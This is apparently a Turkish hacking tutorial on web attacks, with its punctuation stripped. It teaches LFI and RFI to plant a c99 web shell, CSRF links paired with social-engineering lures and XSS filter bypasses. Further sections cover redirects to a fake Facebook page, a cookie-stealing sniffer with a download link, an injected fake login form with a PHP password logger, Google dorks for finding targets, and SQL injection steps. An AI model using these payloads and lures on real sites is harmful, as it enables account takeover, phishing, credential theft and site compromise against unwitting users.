Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 2: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

XSS

1-Cross Site Scripting Nedir

Kelime manası ldquoCcedilapraz Kod Ccedilalıştırmakrdquo dırTehlikeli bir accedilık olduğu gibi ccedilok basit bir zafiyettirCcedilokbuumlyuumlk sistemlerde bile rastlanabilen bir tuumlrrsquoduumlr

2-Cross Site Scripting Hangi Mantığa Dayalıdır

Web Sayfalarında oturum accedilarken ldquoBeni Anımsardquo ldquoOturumumu Suumlrekli Accedilık Tutrdquo şeklindeseccedileneklerle karşılaşırızBu seccedileneklere tıkladıktan sonra oturum accediltığımızda Sistem tarafındanbilgisayarımıza ldquoCookierdquo diye tabir ettiğimiz kuumlccediluumlk metin dosyaları saklanırBunun sebebi o Web

sayfasına bir dahaki ziyaretimizde bizi tanıması ve bizden giriş iccedilin kullanıcı adı ve şifreistememesidirXSS Accedilığının mantığı da buna dayalıdırBir Web Sayfasında XSS Zaafiyeti bulup o

Web Sayfasına uumlye olan kişilerin oturum bilgilerini yani Cookielerini ccedilalıp Cookie değişikliğine sebepolup hesabı ele geccedilirmektir

3-Cross Site Scripting Accedilığı İccedilin Lazım Olan Metaryeller

Bir Web sayfasında XSS accedilığının olduğunu anlamak iccedilin bize uygun bir tarayıcı lazımBen MozillaKullanıyorumSiz Dilerseniz Opera Kullanabilirsiniz

Accedilığı bulduktan sonra hedef sitenin Admin şifresine ulaşmak istiyorsak bize lazım olacak şey bir XSSSniffer kurmaktırBunu ilerleyen vakitlerde aşağıda goumlreceğiz

4-Cross Site Scripting İle Neler Yapabiliriz

Yukarıda bahsettiğim gibi bir web sitesinde XSS Zafiyeti bulup o web sitesindeki Kullanıcıların veyasite youmlneticisi olan Adminrsquonin Cookielerini ccedilalıp hesabı ele geccedilirebilirizXSS Accedilığı sadece buna

yaramazJavascript kodlarıyla backlink yapabilir yada kurbana sağlam bir Keylogger yedirebiliriz

5-Cross Site Scripting Accedilığı Nerelerde Bulunur

a-) Search Kutularında

XSS accedilığı bir ccedilok yerde bulunabilirEğer bir XSS Accedilığı arıyorsanız sizlere birkaccedil dork verip onunuumlzerinde denemeler yapabilirsinizDork

inurlrdquosearchphpid=rdquo

inurlrdquoindexphpid=rdquo

inurlrdquokayitphpid=rdquo

bu dorklar ccediloğaltılabilir

Search (Arama) Kutularında id= değeri ziyaretccedili defterleri Kayıt Formları Yorum Formları vbyerlerde de bulunabilirBir Search kutusu duumlşuumlnuumln

Search kutusuna XSS accedilığının olup olmadığını anlamak iccedilin bir alert kodu yazalımltscriptgtalert(ldquoBuralar eskiden hep XSS dirdquo)ltscriptgt

Yazdıktan sonra arama butonuna tıklıyoruz Eğer accedilık mevcut ise ekrana bir alert yansıyacaktır şuşekilde

b-) id= Değerinin Bulunduğu Yerlerde

Bir Web sayfası duumlşuumlnuumln wwwhedefsitecomdegerphpid=3 şeklinde olsunId= değerinin sağtarafında bulunan rakam harf kelime veya her ne ise silip onun yerine accedilık olduğunu anlamamız iccedilin

alert kodunu yazıyoruz

wwwhedefsitecomdegerphpid= ltscriptgtalert(ldquoBuralar Eskiden Hep XSS di rdquo)ltscriptgt

Daha sonra bu goumlnderdiğimiz sorgu ile ekrana alttaki şekilde bir alert yansıyorsa accedilık olduğunu tekraranlıyoruz

c-) Ziyaretccedili Defterlerinde (STORED XSS)

Uumlstte goumlruumllen resim bir sitede bulunan ziyaretccedili defteridirZiyaretccedili Defterleri web sayfaları iccedilin ccediloktehlike arz eden yerlerdirBu zaafiyet tuumlruumlne STORED XSS Zaafiyeti denilirBuraya yazdığımız bir

HTML veya Javascript kodu herkez tarafından goumlruumllebildiği iccedilin sayfada ccedilalıştığında ziyaretccedili defterinegiren herkez tarafından sizin girdiğiniz kod ccedilalışacaktırYani gireceğiniz HTML Meta youmlnlendirme kodu

sayfaya giren şahısları hedef adreslere youmlnlendirecektirBu saldırıya biraz daha suumls katmak iccedilinPhising sayfanıza veya Fake sayfanıza youmlnlendirme yapabilirsinizŞimdi burada goumlruumllen kutucuklara

XSS Alert kodunu yazıyoruz

Eğer accedilık varsa sayfa bizim kodumuzu ccedilalıştıracaktırYani ekrana alert gelecektir

d-) Kayıt Formlarında

Kayıt Formları XSS Accedilığı iccedilin olanak sağlıyorKayıt Formları genellikle Forum sitelerdemevcutturForum siteleri ccediloğunluk olarak hazır sistem kullanırlar(MyBB Vb SMF vs vs)

Eğer bir forumda hazır sistem kuruluysa veya suumlruumlm olarak belirli bir suumlruumlmuuml varsa ki genelde olurExploit sitelerinden O sistemin suumlruumlmuumlnuuml araştırabilir XSS Accedilıkları mevcutsa Exploit yardımıyla accedilığısoumlmuumlrebilirsinizBiz sistem kullanılmayan bir forum sitesinden devam edelim ) Uumlstte goumlruumllduumlğuuml gibi birkayıt formu mevcutBuradaki kutucuklara tıpkı ziyaretccedili formlarındaki gibi XSS Alert kodlarımızı entegre

ediyoruzEğer accedilık mevcutsa alert alınır

e-) Yorum Formlarında

Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım

Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti

Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz

Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği

esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma

oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))

6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)

Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=

XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde

bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı

a-) HTML Bypass Code

Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım

Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım

wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt

Bu sefer ekrana alert yansıdığını goumlreceksiniz

b-) Bypass JavaScript Code

Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım

wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim

Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız

c-)Normal Bypass

Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız

Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına

7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -

Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site

hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir

kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz

Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde

Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin

Yazacağımız kod şu şekildedir

wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt

Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık

olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=

wwwfakefacebooksayfamcom ltscriptgt

adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır

Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır

8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)

Sniffer Nedir

Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle

değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini

ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır

İşleme başlamadan Sniffer dosyalarını vereyim sizlere

Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn

Hemen kuruluma geccediliyoruz

Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz

httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)

httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz

Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım

httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs

SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz

httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz

Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu

adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir

Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır

Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek

karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml

linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri

httpbenimsitemcomSnifferlogphp adresine gelecektir

9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)

Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde

[Username]= admin UserİnfoCookie[Password]= mahserat

Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk

10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak

Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız

Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız

wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling

centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password

gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt

Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar

fakesayfaphp

ltphp

$login = $_POST[rsquologinrsquo]

$password= $_POST[rsquoPasswordrsquo]

$open = fopen(rsquologhtmrsquo rsquoa+rsquo)

fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo

Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)

gt

fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor

Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz

SQL İnjection1- SQL İnjection Nedir

SQL (Structured Query Language)

SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır

2- SQL İnjectionrsquoun Mantığı Nedir

Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim

Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )

İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz

3- Temel SQL Komutlarını Tanıyalım

SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız

SELECT - Veri seccedilmek iccedilin

CREATE - Tablo yaratmak iccedilin

INSERT - Tablo eklemesi yapmak iccedilin

UPDATE - Veri guumlncelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den - dan beri )

WHERE - Nereden neresi nerede

Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var

4- SQL İnjection ile Neler Yapılabilir

SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz

5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

